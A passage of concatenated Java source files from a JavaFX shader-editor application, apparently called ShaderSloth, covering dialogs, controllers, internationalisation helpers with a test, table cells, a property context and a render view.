this.controller = controller;
this.rootNode = rootNode;
this.meta = meta;
}
public ApplicationContext getApplicationContext() {
return ApplicationContext.get();
}
public T getController() {
return controller;
}
public Parent getRootNode() {
return rootNode;
}
public ControllerMeta getMeta() {
return meta;
}
}
```
LightCreateDialog.java
```package eu.yvka.shadersloth.app.sceneEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.app.controls.MessageBanner;
import eu.yvka.shadersloth.app.controls.validation.Validations;
import eu.yvka.slothengine.geometry.primitives.Cube;
import eu.yvka.slothengine.geometry.primitives.Sphere;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.light.AmbientLight;
import eu.yvka.slothengine.scene.light.Light;
import eu.yvka.slothengine.scene.light.PointLight;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.geometry.HPos;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.image.ImageView;
import javafx.scene.layout.ColumnConstraints;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.VBox;
import javafx.stage.FileChooser;
import javafx.util.converter.NumberStringConverter;
import org.controlsfx.control.textfield.TextFields;
import org.controlsfx.validation.ValidationSupport;
import java.io.File;
import java.text.NumberFormat;
import java.util.Arrays;
import java.util.Collection;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
public class LightCreateDialog extends Dialog<Light> {
enum LightType {
Point(getString("light.create.dlg.type.point")),
Ambient(getString("light.create.dlg.type.ambient"));
LightType(String label) {
this.label = label;
}
String label;
@Override
public String toString() {
return label;
}
}
/******************************************************************************
*
* Fields
*
******************************************************************************/
private ValidationSupport validationSupport;
private MessageBanner messageBanner;
/* Basic Dialog */
private FormPane rootGrid;
private TextField lightId;
private ChoiceBox<LightType> modelTypeChoice;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public LightCreateDialog() {
super();
initialize();
}
private void initialize() {
setTitle(getString("light.create.dlg.title"));
setHeaderText(getString("light.create.dlg.header"));
setGraphic(new ImageView(App.class.getResource("images/bulb_icon_32x32.png").toExternalForm()));
setResizable(false);
messageBanner = new MessageBanner();
String lightIdLabel = getString("light.create.dlg.id.label");
lightId = TextFields.createClearableTextField();
lightId.setPromptText(getString("light.create.dlg.id.prompt"));
lightId.setTooltip(new Tooltip(getString("light.create.dlg.id.tooltip")));
String lightTypeLabel = getString("light.create.dlg.type");
modelTypeChoice = new ChoiceBox<>();
modelTypeChoice.setMaxWidth(Double.MAX_VALUE);
modelTypeChoice.setTooltip(new Tooltip(getString("light.create.dlg.type.tooltip")));
modelTypeChoice.getItems().addAll(LightType.values());
ColumnConstraints col1 = new ColumnConstraints();
col1.setHalignment(HPos.RIGHT);
col1.setMinWidth(50);
col1.setPercentWidth(15);
ColumnConstraints col2 = new ColumnConstraints();
col2.setHalignment(HPos.LEFT);
col2.setPercentWidth(80);
col2.setFillWidth(true);
ColumnConstraints col3 = new ColumnConstraints();
col3.setHalignment(HPos.LEFT);
col3.setPercentWidth(5);
rootGrid = new FormPane();
rootGrid.getColumnConstraints().addAll(col1, col2, col3);
rootGrid.setAlignment(Pos.CENTER);
rootGrid.setHgap(5);
rootGrid.setVgap(5);
rootGrid.addFormEntry(0, 1, lightIdLabel, lightId);
rootGrid.addFormEntry(0, 2, lightTypeLabel, modelTypeChoice);
VBox content = new VBox(5, messageBanner, rootGrid);
content.setAlignment(Pos.TOP_CENTER);
getDialogPane().setContent(content);
getDialogPane().getScene().getWindow().sizeToScene();
validationSupport = new ValidationSupport();
validationSupport.registerValidator(lightId, Validations.createEmptyValidator(lightIdLabel));
getDialogPane().getButtonTypes().addAll(ButtonType.CANCEL, ButtonType.OK);
Button okButton = (Button) getDialogPane().lookupButton(ButtonType.OK);
// Ensure dialog can only submit if input is valid
okButton.addEventFilter(ActionEvent.ACTION, event -> {
if (validationSupport.isInvalid()) {
messageBanner.show(validationSupport);
event.consume();
} else {
messageBanner.hide();
}
getDialogPane().getScene().getWindow().sizeToScene();
});
setResultConverter(buttonType -> {
if (buttonType.equals(ButtonType.OK) && modelTypeChoice.getValue() != null) {
final String id = this.lightId.getText();
switch (modelTypeChoice.getValue()) {
case Point:return new PointLight(id);
case Ambient: return new AmbientLight(id);
}
}
return null;
});
}
}
```
AbstractController.java
```package eu.yvka.shadersloth.share.controller;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.share.context.ViewContext;
import eu.yvka.shadersloth.share.utils.ExceptionUtils;
import javafx.scene.Parent;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.PostConstruct;
import java.net.URL;
import java.util.ResourceBundle;
/**
* A Controller for a specific view.
* A view is a fxml file which is load and initialized by this controllers.
* The controllers is responsible to manage the specified view.
*/
public abstract class AbstractController {
/**
* The logger for this class
*/
private Logger Log = LoggerFactory.getLogger(AbstractController.class);
/**
* The FXML view/file which is related to this controllers
*/
private URL fxmlFile;
/**
* The current local Resource Bundle.
* The {@link ResourceBundle} contains all locale-specific
* texts and strings.
*/
private ResourceBundle resourceBundle;
/**
* Context of the controlled view.
*/
private ViewContext<AbstractController> viewContext;
/**
* Creates a controllers for the view which is defined
* in the fxml file at the specified location.
*/
public AbstractController(URL location) {
this(location, I18N.getResourceBundle());
}
/**
* <b>This constructor is only for internal use</b>
*
* Creates a controllers for the view which is defined
* in the fxml file at the specified location. And specifies
* the {code ResourceBundle} which should be used by the controlled
* view.
*
* @param location
* @param resources
*/
protected AbstractController(URL location, ResourceBundle resources) {
this.fxmlFile = location;
this.resourceBundle = resources;
}
/**
* Retrieves the root element of the controlled view.
*
* @return the root element
*/
public Parent getRoot() {
try {
return getContext().getRootNode();
} catch (ControllerLoaderException ex) {
throw new IllegalStateException("Could not obtain root node of " + getClass().getSimpleName(), ex);
}
}
/**
* Provides context information about this controllers.
*
* @return context about this view object.
*/
public ViewContext<AbstractController> getContext() throws ControllerLoaderException {
if (viewContext == null) {
initiateController();
}
return viewContext;
}
/**
* Initiate the controllers and load the corresponding fxml file which contains the
* view of this controllers.
*/
@SuppressWarnings("unchecked")
protected void initiateController() throws ControllerLoaderException {
try {
viewContext = ControllerBuilder.getInstance().createBy(this, (Class<AbstractController>) getClass());
} catch (Exception e) {
throw new ControllerLoaderException("Failed to initiate " + this.getClass().getSimpleName(), e);
}
try {
onFxmlLoaded();
} catch (Exception ex) {
String errorLocation = ExceptionUtils.getFileLocationOfTraceElement(ex, 0);
throw new ControllerLoaderException("Error in invoked onFxmlLoaded of " + getClass().getSimpleName() + errorLocation, ex);
}
}
@PostConstruct
private void triggerOnFXMLLoaded() {
onFxmlLoaded();
}
/**
* A subclass must implement its view initial logic in this method.
*
* <p>
* Fields which are annotated with {@link javafx.fxml.FXML} are first accessible
* while this method is invoked by the {@link AbstractController}.
* </p>
*
* </p>
* Called when the fxml file was loaded this is the
* equivalent to {@link javafx.fxml.Initializable#initialize(URL, ResourceBundle)}.
* <p>
*
*/
abstract protected void onFxmlLoaded();
/**
* @return the assigned resource bundle which
* is used for the controlled view.
* The {@link ResourceBundle} contains all locale-specific
* texts and strings.
*/
ResourceBundle getResourceBundle() {
return resourceBundle;
}
/**
* @return the location of the corresponding fxml file.
* This contains the view which is controlled by
* this controllers.
*/
URL getLocation() {
return fxmlFile;
}
/**
* Will be called before if controllers
* is resumed from a pause state.
*
*/
public void onResume() {
};
/**
* Will be called before a controllers is paused.
*
*/
public void onPause() {
}
}
```
ShaderErrorTable.java
```package eu.yvka.shadersloth.app.materialEditor.shaders.errors;
import eu.yvka.slothengine.shader.Shader;
import javafx.scene.control.Label;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableView;
import javafx.scene.control.cell.PropertyValueFactory;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
/**
* @author Yves Kaufmann
* @since 18.07.2016
*/
public class ShaderErrorTable extends TableView<ShaderError> {
public ShaderErrorTable() {
super();
final Label noErrorLabel = new Label(getString("shader.error.noerrors"));
noErrorLabel.setStyle("-fx-font-weight: bold");
setPlaceholder(noErrorLabel);
TableColumn<ShaderError, String> descriptionColumn = new TableColumn<>(getString("shader.error.descriptionColumn"));
TableColumn<ShaderError, String> shaderColumn = new TableColumn<>(getString("shader.error.shaderColumn"));
TableColumn<ShaderError, Integer> locationColumn = new TableColumn<>(getString("shader.error.locationColumn"));
descriptionColumn.setCellFactory(ShaderErrorCellFactory::getDescriptionCell);
descriptionColumn.setCellValueFactory(new PropertyValueFactory<ShaderError, String >("description"));
shaderColumn.setCellValueFactory(new PropertyValueFactory<ShaderError, String>("shaderName"));
locationColumn.setCellValueFactory(new PropertyValueFactory<ShaderError, Integer>("lineNumber"));
descriptionColumn.prefWidthProperty().bind(widthProperty().multiply(0.6f));
shaderColumn.prefWidthProperty().bind(widthProperty().multiply(0.2f));
descriptionColumn.getStyleClass().add("align-left");
shaderColumn.getStyleClass().add("align-left");
locationColumn.getStyleClass().add("align-left");
getColumns().setAll(descriptionColumn, shaderColumn, locationColumn);
}
}
```
CellUtils.java
```package eu.yvka.shadersloth.app.controls.cell;
import javafx.scene.control.Cell;
import javafx.scene.control.TextField;
import javafx.scene.input.KeyCode;
import javafx.util.StringConverter;
import java.util.Objects;
/**
* @Author Yves Kaufmann
* @since 11.07.2016
*/
public class CellUtils {
/******************************************************************************
*
* String Converters
*
******************************************************************************/
public static final StringConverter<?> DEFAULT_STRING_CONVERTER = new StringConverter<Object>() {
@Override
public String toString(Object object) {
return object == null ? "" : object.toString();
}
@Override
public Object fromString(String string) {
return (Object) string;
}
};
/******************************************************************************
*
* Convenient Cell Methods
*
******************************************************************************/
/**
* Returns the string representation of the passed cell,
* a string converter is used to transform a item to a string.
* When no converter is specified objects will to convert to strings
* by calling its {#link Object{@link #toString()}} method.
*
* @param cell the cell from which the string should be obtained.
* @param converter a converter which is capable to convert a cell item to a string
* @param <T> the item type which is stored by a cell
*
* @return the string representation of the passed cell
*/
public static <T> String getStringFromCell(Cell<T> cell, StringConverter<T> converter) {
return converter == null ? Objects.toString(cell.getItem()) : converter.toString(cell.getItem());
}
/******************************************************************************
*
* Textfield Cell Support
*
******************************************************************************/
public static <T> TextField createTextField(final Cell<T> cell, final StringConverter<T> converter) {
final TextField textField = new TextField(getStringFromCell(cell, converter));
// Adapted from the original javafx.scene.control.cell.CellUtils class
textField.setOnAction(event -> {
if (converter == null) {
throw new IllegalStateException(
"Attempting to convert text input into Object, but provided "
+ "StringConverter is null. Be sure to set a StringConverter "
+ "in your cell factory.");
}
cell.commitEdit(converter.fromString(textField.getText()));
event.consume();
});
textField.setOnKeyReleased(t -> {
if (t.getCode() == KeyCode.ESCAPE) {
cell.cancelEdit();
t.consume();
}
});
return textField;
}
}
```
I18N.java
```package eu.yvka.shadersloth.share.I18N;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.text.MessageFormat;
import java.util.ResourceBundle;
public class I18N {
private static final Logger Log = LoggerFactory.getLogger(I18N.class);
/**
* The base name of the default resource bundle
*/
private static final String SHADER_SLOTH_BUNDLE = "eu.yvka.shadersloth.app.I18N.shaderSloth";
/**
* The current local resource bundle
*/
private static ResourceBundle resourceBundle;
synchronized
public static ResourceBundle getResourceBundle() {
if (resourceBundle == null) {
resourceBundle = ResourceBundle.getBundle(SHADER_SLOTH_BUNDLE);
}
return resourceBundle;
}
public static String getString(String key) {
if (getResourceBundle().containsKey(key)) {
return getResourceBundle().getString(key);
}
Log.error("Requested string with the key '{}' is missing in the resource bundle: '{}'", key, getResourceBundle().getBaseBundleName());
return "%" + key;
}
public static String getString(String key, Object... arguments) {
final String pattern = getString(key);
return MessageFormat.format(pattern, arguments);
}
}
```
I18NTest.java
```package eu.yvka.shadersloth.share.I18N;
import org.junit.Test;
import java.util.ResourceBundle;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.CoreMatchers.*;
public class I18NTest {
@Test
public void testGetResourceBundle() throws Exception {
ResourceBundle bundle = I18N.getResourceBundle();
assertThat(bundle, is(notNullValue()));
}
@Test
public void testGetString() throws Exception {
String appName = I18N.getString("app.title");
assertThat(appName, instanceOf(String.class));
}
@Test
public void testGetStringWithUnknownKey() throws Exception {
String notKnownKey = "___NOT_KNOWN_KEY___";
assertThat( I18N.getString(notKnownKey), is(equalTo("%" + notKnownKey)));
}
}
```
FileAlreadyExistsDialog.java
```package eu.yvka.shadersloth.share.controls;
import eu.yvka.shadersloth.share.I18N.I18N;
import javafx.beans.NamedArg;
import javafx.scene.control.Alert;
import javafx.scene.control.ButtonType;
import java.io.File;
import java.text.MessageFormat;
import java.util.Dictionary;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
/**
* @author Yves Kaufmann
* @since 26.07.2016
*/
public class FileAlreadyExistsDialog extends Alert {
public FileAlreadyExistsDialog(File file) {
this(file.getAbsolutePath());
}
public FileAlreadyExistsDialog(String file) {
super(AlertType.CONFIRMATION);
setTitle(getString("alreadyexists.dlg.title"));
setContentText(getString("alreadyexists.dlg.content", file));
getButtonTypes().setAll(ButtonType.NO, ButtonType.YES);
}
}
```
VectorEditorController.java
```package eu.yvka.shadersloth.app.controls;
import javafx.beans.property.FloatProperty;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.fxml.Initializable;
import javafx.scene.control.Label;
import javafx.scene.control.TextField;
import javafx.scene.control.TextFormatter;
import javafx.scene.layout.Pane;
import javafx.util.converter.NumberStringConverter;
import eu.yvka.shadersloth.app.model.Vector3fModel;
import java.io.IOException;
import java.net.URL;
import java.text.NumberFormat;
import java.util.ResourceBundle;
public class VectorEditorController implements Initializable {
@FXML
private TextField xTextField;
@FXML
private TextField yTextField;
@FXML
private TextField zTextField;
@FXML
private Label vectorLabel;
private Vector3fModel model;
@Override
public void initialize(URL location, ResourceBundle resources) {
model = new Vector3fModel();
NumberFormat format = NumberFormat.getInstance();
format.setMinimumFractionDigits(2);
NumberStringConverter converter = new NumberStringConverter(format);
setupNumberField(xTextField, converter, model.xProperty());
setupNumberField(yTextField, converter, model.yProperty());
setupNumberField(zTextField, converter, model.zProperty());
}
private void setupNumberField(TextField textField, NumberStringConverter converter, FloatProperty floatProperty) {
TextFormatter<Number> formatter = new TextFormatter<>(converter);
formatter.valueProperty().addListener((observable, oldNumber, newNumber) -> {
floatProperty.setValue(newNumber);
});
formatter.valueProperty().bindBidirectional(floatProperty);
textField.setTextFormatter(formatter);
}
public static Pane getView() {
try {
URL viewURL = VectorEditorController.class.getResource("../view/vectorEditorView.fxml");
FXMLLoader loader = new FXMLLoader(viewURL);
loader.setController(new VectorEditorController());
return loader.load();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}
```
AbstractContext.java
```package eu.yvka.shadersloth.share.context;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;
public class AbstractContext implements Serializable {
/**
* Abstraction of a property in order to achieve type type safety.
* @param <T> the type of the property value
*/
private static class PropertyValue<T> implements Serializable {
@SuppressWarnings("unchecked")
static final PropertyValue NULL = new PropertyValue(null);
private final T value;
PropertyValue(T value) {
this.value = value;
}
@SuppressWarnings("unchecked")
<ExpectedType> ExpectedType getTypeAware(Class<ExpectedType> expectedType) {
if (expectedType.isPrimitive() || expectedType.isInstance(this.value))
return (ExpectedType) this.value;
return null;
}
}
/**
* The Set of properties nothing special here.
*/
protected final Map<String, PropertyValue> properties = new HashMap<>();
/**
* Creates an empty ImporterContext.
*/
public AbstractContext() {
}
/**
* Retrieves the Boolean property by an id.
*
* @param id the id of the desired boolean property
*
* @return the boolean property or null if there is no such boolean property.
*/
public Boolean getBoolean(String id) {
return getProperty(id, Boolean.class);
}
/**
* <p>Defines a boolean property with a specific id.</p>
*
* @param id the id of the property.
* @param bool the value of the property
*/
public void setBoolean(String id, Boolean bool) {
setProperty(id, bool);
}
/**
* Retrieves the byte property by an id.
*
* @param id the id of the desired byte property
*
* @return the byte property or null if there is no such byte property.
*/
public Byte getByte(String id) {
return getProperty(id, Byte.class);
}
/**
* <p>Defines a byte property with a specific id.</p>
*
* @param id the id of the property.
* @param byteValue the value of the property
*/
public void setByte(String id, Byte byteValue) {
setProperty(id, byteValue);
}
/**
* Retrieves the short property by an id.
*
* @param id the id of the desired short property
*
* @return the short property or null if there is no such byte property.
*/
public Short getShort(String id) {
return getProperty(id, Short.class);
}
/**
* <p>Defines a short property with a specific id.</p>
*
* @param id the id of the property.
* @param shortValue the value of the property
*/
public void setShort(String id, Short shortValue) {
setProperty(id, shortValue);
}
/**
* Retrieves the integer property by an id.
*
* @param id the id of the desired integer property
*
* @return the integer property or null if there is no such integer property.
*/
public Integer getInteger(String id) {
return getProperty(id, Integer.class);
}
/**
* <p>Defines a integer property with a specific id.</p>
*
* @param id the id of the property.
* @param integerValue the value of the property
*/
public void setInteger(String id, Integer integerValue) {
setProperty(id, integerValue);
}
/**
* Retrieves the long property by an id.
*
* @param id the id of the desired long property
*
* @return the long property or null if there is no such long property.
*/
public Long getLong(String id) {
return getProperty(id, Long.class);
}
/**
* <p>Defines a long property with a specific id.</p>
*
* @param id the id of the property.
* @param longValue the value of the property
*/
public void setLong(String id, Long longValue) {
setProperty(id, longValue);
}
/**
* Retrieves the string property by an id.
*
* @param id the id of the desired string property
*
* @return the string property or null if there is no such string property.
*/
public String getString(String id) {
return getProperty(id, String.class);
}
/**
* <p>Defines a string property with a specific id.</p>
*
* @param id the id of the property.
* @param string the value of the property
*/
public void setString(String id, String string) {
setProperty(id, string);
}
/**
* <p>Defines a property with a specific id.</p>
*
* @param id the id of the property.
* @param value the value of the property
* @param <T> the type of the property.
*/
@SuppressWarnings("unchecked")
public <T> void setProperty(String id, T value) {
this.properties.put(id, new PropertyValue(value));
}
/**
* <p>Retrieves a property by it's id.</p>
*
* <p>In order to achieve type safety a caller must provide
* the type of the desired property.</p>
*
* @param id the id of the desired property.
* @param type the expected type of the desired property.
* @param <T> the expected type of the desired property
*
* @return the desired property or null if there is no such a property with the specified id.
*/
public <T> T getProperty(String id, Class<T> type) {
PropertyValue property = properties.getOrDefault(id, PropertyValue.NULL);
return type.cast(property.getTypeAware(type));
}
/**
* Checks if there is a property with a specified id and a specific type.
*
* @param id the id of the property.
* @param type the expected type of the property
*
* @return true the requested property exists.
*/
public boolean hasProperty(String id, Class type) {
return getProperty(id, type) != null;
}
}
```
ShaderSlothRenderer.java
```package eu.yvka.shadersloth.app.renderView;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.engine.EngineApp;
import eu.yvka.slothengine.geometry.primitives.Cube;
import eu.yvka.slothengine.geometry.primitives.Sphere;
import eu.yvka.slothengine.input.InputListener;
import eu.yvka.slothengine.input.event.KeyEvent;
import eu.yvka.slothengine.input.event.MouseEvent;
import eu.yvka.slothengine.material.BasicMaterial;
import eu.yvka.slothengine.material.Pass;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.renderer.FPSCounter;
import eu.yvka.slothengine.renderer.RenderState;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Node;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.scene.camera.FreeCamera;
import eu.yvka.slothengine.scene.light.PointLight;
import javafx.geometry.Pos;
import org.joml.Vector2f;
import org.joml.Vector3f;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.function.Consumer;
import static eu.yvka.slothengine.renderer.RenderState.CullFaceMode;
public class ShaderSlothRenderer extends EngineApp implements InputListener {
private float zoomLevel;
private Consumer<Scene> onStartedCallback;
private Scene activeScene;
private Vector2f mousePos;
public void setOnStartedCallback(Consumer<Scene> onStartedCallback) {
this.onStartedCallback = onStartedCallback;
}
@Override
protected void prepare() {
zoomLevel = 0.5f;
inputManager.addListener(this);
}
@Override
public void update(float elapsedTime) {
zoomLevel -= 30.0 * elapsedTime * inputManager.getMouseWheelAmount();
scene.update(elapsedTime);
}
@Override
protected void cleanUp() {
}
@Override
public void onMouseEvent(MouseEvent event) {
mousePos = new Vector2f((float) event.getX(), (float) event.getY());
}
@Override
public void onKeyEvent(KeyEvent keyEvent) {
final RenderState state = rendererManager.getRenderState();
final Node rootNode = scene.getRootNode();
if (keyEvent.isPressed()) {
switch (keyEvent.getKeyButton()) {
case A: zoomLevel += 0.1; break;
case Q: zoomLevel -= 0.1; break;
case Up: rootNode.getPosition().add(0.0f, 0.2f, 0.0f); break;
case Left: rootNode.getPosition().add(-0.2f, 0.0f, 0.0f); break;
case Right: rootNode.getPosition().add(0.2f, 0.0f, 0.0f); break;
case Down: rootNode.getPosition().add(0.0f, -0.2f, 0.0f); break;
}
}
}
public void setActiveScene(Scene activeScene) {
Engine.runWhenReady(() -> {
rendererManager.setScene(activeScene);
this.scene = activeScene;
});
}
}
```
PropertyEditors.java
```package eu.yvka.shadersloth.app.sceneEditor;
import eu.yvka.slothengine.math.Color;
import javafx.beans.property.SimpleObjectProperty;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.scene.control.ColorPicker;
import org.controlsfx.control.PropertySheet;
import org.controlsfx.property.editor.AbstractPropertyEditor;
import org.controlsfx.property.editor.PropertyEditor;
/**
* PropertyEditors contains a set of property editors
* for shader-sloth related types.
*
* @author Yves Kaufmann
*/
public class PropertyEditors {
/**
* Creates a property editor for shader-sloth's
* color type.
*
* @param item the item which should be edit
* @return a instance of color property editor
*/
public static PropertyEditor<Color> createColorEditor(PropertySheet.Item item) {
final ColorPicker colorPicker = new ColorPicker();
// holds the current selected color this property is required in
// order to convert between a javafx color type and a sloth engine color type.
final SimpleObjectProperty<Color> colorProperty = new SimpleObjectProperty<Color>();
// set the initial color from the current material
if (item.getValue() instanceof Color) {
colorPicker.setValue(createFXColorFromSLColor((Color) item.getValue()));
colorProperty.setValue((Color) item.getValue());
}
// ensure that the colorProperty is updated if the user make any changes
colorPicker.valueProperty().addListener((observable, oldValue, newValue) -> {
Color newColor = Color.White;
if (newValue != null) {
newColor = createColorFrom(newValue);
}
colorProperty.set(newColor);
});
return new AbstractPropertyEditor<Color, ColorPicker>(item, colorPicker) {
@Override
public void setValue(Color color) {
getEditor().setValue(createFXColorFromSLColor(color));
}
@Override
protected ObservableValue<Color> getObservableValue() {
return colorProperty;
}
};
}
private static javafx.scene.paint.Color createFXColorFromSLColor(Color color) {
return javafx.scene.paint.Color.color(
color.getRed(),
color.getBlue(),
color.getBlue()
);
}
private static Color createColorFrom(javafx.scene.paint.Color value) {
return Color.fromRGB(value.getRed(), value.getGreen(), value.getBlue());
}
}
```
Context.java
```package eu.yvka.shadersloth.share.context;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* A FXMLViewContext field annotated with this annotations will be provided
* with FXMLViewContext Instance.
*/
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Context {
}
```
Action.java
```package eu.yvka.shadersloth.share.actions.annotations;
import eu.yvka.shadersloth.share.controls.FontAwesomeIcon;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface Action {
/**
* Identifier of a action which allows it to reference
* a action from outside a constructor.
*
* @return action identifier.
*/
String id() default "";
/**
* @return the text description of this
* action.
*/
String text() default "";
/**
* @return the tooltip for this action.
*/
String tooltip() default "";
/*
* The priority specifies in which order actions are rendered.
* A low priority means that the action will be rendered after all
* actions with a higher priority.
*/
int priority() default 0;
/**
* The Font icon which should be used by this action.
*
* @return
*/
FontAwesomeIcon fontIcon() default FontAwesomeIcon.NONE;
}
```
OperatingSystem.java
```package eu.yvka.shadersloth.share.utils;
/**
* Helper class for detecting the current operating
* system.
*
* @Author Yves Kaufmann
* @since 15.07.2016
*/
public enum OperatingSystem {
WINDOWS,
OSX,
UNIX,
UNKNOWN;
static {
CURRENT = detectOS();
}
public static final OperatingSystem CURRENT;
/**
* Detects the current Operation System
*
* @return the current operating system.
*/
private static OperatingSystem detectOS() {
String os = System.getProperty("os.name").toLowerCase();
if (os.startsWith("win")) return OperatingSystem.WINDOWS;
if (os.startsWith("mac")) return OperatingSystem.OSX;
if (os.startsWith("unix") || os.startsWith("linux") || os.indexOf("aix") > 0) return OperatingSystem.UNIX;
return OperatingSystem.UNKNOWN;
}
/**
* Determines if the current os is windows.
*
* @return if the current os is windows based
*/
public static boolean isWindows() {
return CURRENT == OperatingSystem.WINDOWS;
}
/**
* Determines if the current os is mac os.
*
* @return if the current os is mac os
*/
public static boolean isOSX() {
return CURRENT == OperatingSystem.OSX;
}
/**
* Determines if the current os is unix based.
*
* @return if the current os is unix
*/
public static boolean isUnix() {
return CURRENT == OperatingSystem.UNIX;
}
}
```
HyperLinkTableCell.java
```package eu.yvka.shadersloth.app.controls.cell;
import eu.yvka.shadersloth.share.context.ApplicationContext;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.scene.control.Hyperlink;
import javafx.scene.control.TableCell;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TextField;
import javafx.util.Callback;
import javafx.util.StringConverter;
import javafx.util.converter.DefaultStringConverter;
/**
* A class containing a {@link TableCell} implementation that draws a
* {@link Hyperlink} node inside the cell.
*
* <p>By default, the TextFieldTableCell is rendered as a {@link Hyperlink} when not
* being edited, and as a TextField when in editing mode. The TextField will, by
* default, stretch to fill the entire table cell.
*
* @param <T> The type of the elements contained within the TableColumn.
* @since 11.07.2016
* @Author Yves Kaufmann
*/
public class HyperLinkTableCell<S, T> extends TableCell<S, T> {
/***************************************************************************
* *
* Static cell factories *
* *
**************************************************************************/
public static <S> Callback<TableColumn<S,String>, TableCell<S,String>> forTableColumn() {
return forTableColumn(new DefaultStringConverter());
}
public static <S,T> Callback<TableColumn<S,T>, TableCell<S,T>> forTableColumn(
final StringConverter<T> converter) {
return list -> new HyperLinkTableCell<S,T>(converter);
}
/***************************************************************************
* *
* Fields *
* *
**************************************************************************/
private TextField textField;
private Hyperlink hyperlink;
/***************************************************************************
* *
* Constructors *
* *
**************************************************************************/
/**
* Creates a default TextFieldTableCell with a null converter. Without a
* {@link StringConverter} specified, this cell will not be able to accept
* input from the TextField (as it will not know how to convert this back
* to the domain object). It is therefore strongly encouraged to not use
* this constructor unless you intend to set the converter separately.
*/
public HyperLinkTableCell() {
this(null);
}
/**
* Creates a TextFieldTableCell that provides a {@link TextField} when put
* into editing mode that allows editing of the cell content. This method
* will work on any TableColumn instance, regardless of its generic type.
* However, to enable this, a {@link StringConverter} must be provided that
* will convert the given String (from what the user typed in) into an
* instance of type T. This item will then be passed along to the
* {@link TableColumn#onEditCommitProperty()} callback.
*
* @param converter A {@link StringConverter converter} that can convert
* the given String (from what the user typed in) into an instance of
* type T.
*/
public HyperLinkTableCell(StringConverter<T> converter) {
this.getStyleClass().add("text-field-table-cell");
setConverter(converter);
hyperlink = new Hyperlink();
hyperlink.setOnAction((e) -> {
// Maybe there is a standard way to obtain the current application object
ApplicationContext.get().getApplication().getHostServices().showDocument(hyperlink.getText());
});
}
/***************************************************************************
* *
* Properties *
* *
**************************************************************************/
// --- converter
private ObjectProperty<StringConverter<T>> converter =
new SimpleObjectProperty<StringConverter<T>>(this, "converter");
/**
* The {@link StringConverter} property.
*/
public final ObjectProperty<StringConverter<T>> converterProperty() {
return converter;
}
/**
* Sets the {@link StringConverter} to be used in this cell.
*/
public final void setConverter(StringConverter<T> value) {
converterProperty().set(value);
}
/**
* Returns the {@link StringConverter} used in this cell.
*/
public final StringConverter<T> getConverter() {
return converterProperty().get();
}
/***************************************************************************
* *
* Public API *
* *
**************************************************************************/
/** {@inheritDoc} */
@Override public void startEdit() {
if (! isEditable()
|| ! getTableView().isEditable()
|| ! getTableColumn().isEditable()) {
return;
}
super.startEdit();
if (isEditing()) {
if (textField == null) {
textField = CellUtils.createTextField(this, getConverter());
}
textField.setText(CellUtils.getStringFromCell(this, getConverter()));
setGraphic(textField);
setText(null);
textField.selectAll();
textField.requestFocus();
}
}
/** {@inheritDoc} */
@Override public void cancelEdit() {
super.cancelEdit();
hyperlink.setText(CellUtils.getStringFromCell(this, getConverter()));
setGraphic(hyperlink);
}
/** {@inheritDoc} */
@Override public void updateItem(T item, boolean empty) {
super.updateItem(item, empty);
if (empty || item == null) {
setGraphic(null);
setText(null);
} else {
if (isEditing()) {
setText(null);
textField.setText(CellUtils.getStringFromCell(this, getConverter()));
setGraphic(textField);
} else {
hyperlink.setText(CellUtils.getStringFromCell(this, getConverter()));
setGraphic(hyperlink);
setText(null);
}
}
}
}
```
ActionCallback.java
```package eu.yvka.shadersloth.share.actions;
/**
* A Callback which can be assigned to action
* in order to specify the action which should
* be performed when a action is activated.
*/
@FunctionalInterface
public interface ActionCallback {
/**
* Invoke the underlying callback and
* execute the action.
*/
void invoke(ActionEntry actionEntry);
}
```
ApplicationContext.java
```package eu.yvka.shadersloth.share.context;
import com.google.inject.Module;
import javafx.application.Application;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.Collection;
import java.util.Objects;
import java.util.function.Supplier;
public class ApplicationContext extends AbstractContext {
/******************************************************************************
*
* Static Stuff
*
******************************************************************************/
private static final Logger Log = LoggerFactory.getLogger(ApplicationContext.class);
/***
* Field of the injector
*/
public static final String APPLICATION_FIELD = "applicationFX";
/***
* The context which is shared with the whole application
*/
private static ApplicationContext INSTANCE;
/**
* Provides access to our application context.
*
* @return the application context instance.
*/
synchronized
public static ApplicationContext get() {
if (INSTANCE == null) {
INSTANCE = new ApplicationContext();
}
return INSTANCE;
}
/******************************************************************************
*
* Fields
*
******************************************************************************/
private Application application;
private DIContext diContext = null;
private boolean isDisposed = true;
/******************************************************************************
*
